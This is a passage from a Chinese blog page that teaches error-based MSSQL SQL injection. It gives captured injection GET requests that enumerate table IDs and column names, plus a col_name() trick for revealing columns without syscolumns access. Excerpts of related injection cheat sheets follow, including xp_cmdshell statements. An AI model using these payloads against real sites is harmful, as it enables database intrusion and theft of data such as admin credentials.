'syscomments','sysfiles1','syspermissions','sysusers','sysproperties','sysdepends','sysreferences',
'sysfulltextcatalogs','sysindexkeys','sysforeignkeys','sysmembers','sysprotects',
'sysfulltextnotify','sysfiles','sysfilegroups','dt_addtosourcecontrol','dt_addtosourcecontrol_u',
'dt_adduserobject_vcs','dt_checkinobject','dt_checkinobject_u','dt_checkoutobject','dt_checkoutobject_u',
'dt_displayoaerror','dt_displayoaerror_u','dt_droppropertiesbyid','dt_dropuserobjectbyid','dt_generateansiname',
'dt_getobjwithprop','dt_getobjwithprop_u','dt_getpropertiesbyid','dt_getpropertiesbyid_u','dt_getpropertiesbyid_vcs',
'dt_getpropertiesbyid_vcs_u','dt_isundersourcecontrol','dt_isundersourcecontrol_u','dt_setpropertybyid',
'dt_setpropertybyid_u','dt_validateloginparams','dt_validateloginparams_u','dt_whocheckedout','dt_whocheckedout_u',
'dtproperties','sysconstraints','syssegments') 代码在SQL SERVER 2000下测试通过。 先来抓包看一个PANGOLIN的暴列名的语句 ,十分经典:
SQL代码
1. GET /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124) from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的ID
2.
3. GET /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 得到此表的列的数量
4.
5. GET /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 开始从syscolumns里面报列名了。 其它的注入工具也大同小异,都是从syscolumns里面取得列名。 当我们无法从syscolumns表里面取得数据该怎么办?比如我们没有syscolumns表的select权限。 下面就是文章的重点了,其实说白了也就是一个函数的应用 :
SQL代码 1. select 1 where 1=(select isnull(col_name(object_id('admin'),3),'meiyoucilie')) 上面这条语句表示得到admin表的第三个列的名称,并与1进行比较,结果肯定是会报错的,通过报错结果我们就可以将第三列的名字暴出来了,没有用到syscolumns表哦。 用到的是col_name函数,它有两个参数,第一个就是表的ID,第二个就是列的索引。这个索引是从1开始的。
如果指定索引的号不存在。 比如admin表里面一共才三个列,结果索引传了个4进去 ,就会报错说"meiyoucilie"
mssql 注入的更多相关文章
- 渗透测试学习 九、 MSsql注入上
MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...
- 一个罕见的MSSQL注入漏洞案例
一个罕见的MSSQL注入漏洞案例 这里作者准备分享一个在去年Google赏金计划中发现的相当罕见漏洞,也是作者在整个渗透测试生涯中唯一一次遇到的. 目标网站使用了微软 SQL Server 数据库并且 ...
- MSSQL注入常用SQL语句整理
很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- 啊D工具语句 适合Access和Mssql注入
啊D注入工具中使用的SQL注入语句 爆user )) )= | ***** ?Id)) : ?Id : Id 检查SA权限:)))) 爆当前库: )) -- 检查是否为mssql数据库:and exi ...
- mssql注入指令
and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...
- mssql注入中的储存用法删除与恢复
删除: use master exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_enumgroups' exec ...
- 实战手工注入某站,mssql注入
昨天就搞下来的,但是是工具搞得,为了比赛还是抛弃一阵子的工具吧.内容相对简单,可掠过. 报错得到sql语句: DataSet ds2 = BusinessLibrary.classHelper.Get ...
- MSSQL注入SA权限不显错模式下的 入 侵
一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用.方法很简单大家看操作. 我这里使用的是 火狐的插件提交参数 ...
随机推荐
- 跳转AppStore 评分
-(void)goToAppStore { NSString *str = [NSString stringWithFormat: @"itms-apps://ax.itunes.apple ...
- 使用memset初始化C++自定义类型
当类型本身或者类型的成员变量带有虚函数以及像std::vector这类复杂数据结构的时候.就会出错,原因是memset把类型本身所带的一些隐含的信息也给置0了.如:虚表指针.std::vector的内 ...
- 深度学习之TensorFlow的介绍与安装
TensorFlow是一个采用数据流图(data flow graphs)用于数值计算的开源软件库.它最初是由Google大脑小组的研发人员设计开发的,用于机器学习和神经网络方面的研究.但是这个系统的 ...
- solr特点三: QueryElevation(编辑结果排序)
在理想的情况下,搜索引擎只返回与用户查询相关的文档.而在现实的查询中,编辑(没发现更合适的表达)通常需要指定特定文档在搜索结果中的特定位置.这样做有很多原因.或许 “置顶” 的文档就是最好的查询结果. ...
- Docker 入门笔记
Docker 可以理解为一个轻量化的虚拟机, 启动速度快,本身占的资源小 [重要], 容器里是不能保存数据的,容器只要一停止, 所有的数据都会丢失,所以如果重要的数据, 都需要通过配制,把数据保存在 ...
- ASP.NET 常用的字符串加密
字符串常用的加密有三种 1.MD5加密,这个常用于密码,单向加密,不可解密,有些在线解密的可以解大部份,用代码不能实现,如果不想让人解密,加密后随便截取一段就好了: 2.Base64位加密,通常加密后 ...
- Django-DRF-视图的演变
版本一(基于类视图APIView类) views.py: APIView是继承的Django View视图的. from .serializers import UserSerializers #导入 ...
- 如何在WS系统的DOS命令台打印JAVA_HOME变量
echo %JAVA_HOME% 查看环境变量 path 新增临时环境变量 path D:\test;%path% 注意是反斜杆 cls 清空 F7 显示历史CMD指令
- BZOJ4283: 魔法少女伊莉雅(最短路径图+最短路径树)
题面 传送门 题解 太长了不想写了→_→ 题解 //minamoto #include<bits/stdc++.h> #define R register #define inf 0x3f ...
- 2017.06.04【NOIP提高组】模拟赛B组:
t1 jzoj3762 过河 路径分段,计算出向上移对答案贡献最大的一段路,再使用堆来维护即可 代码: #include<bits/stdc++.h> using namespace st ...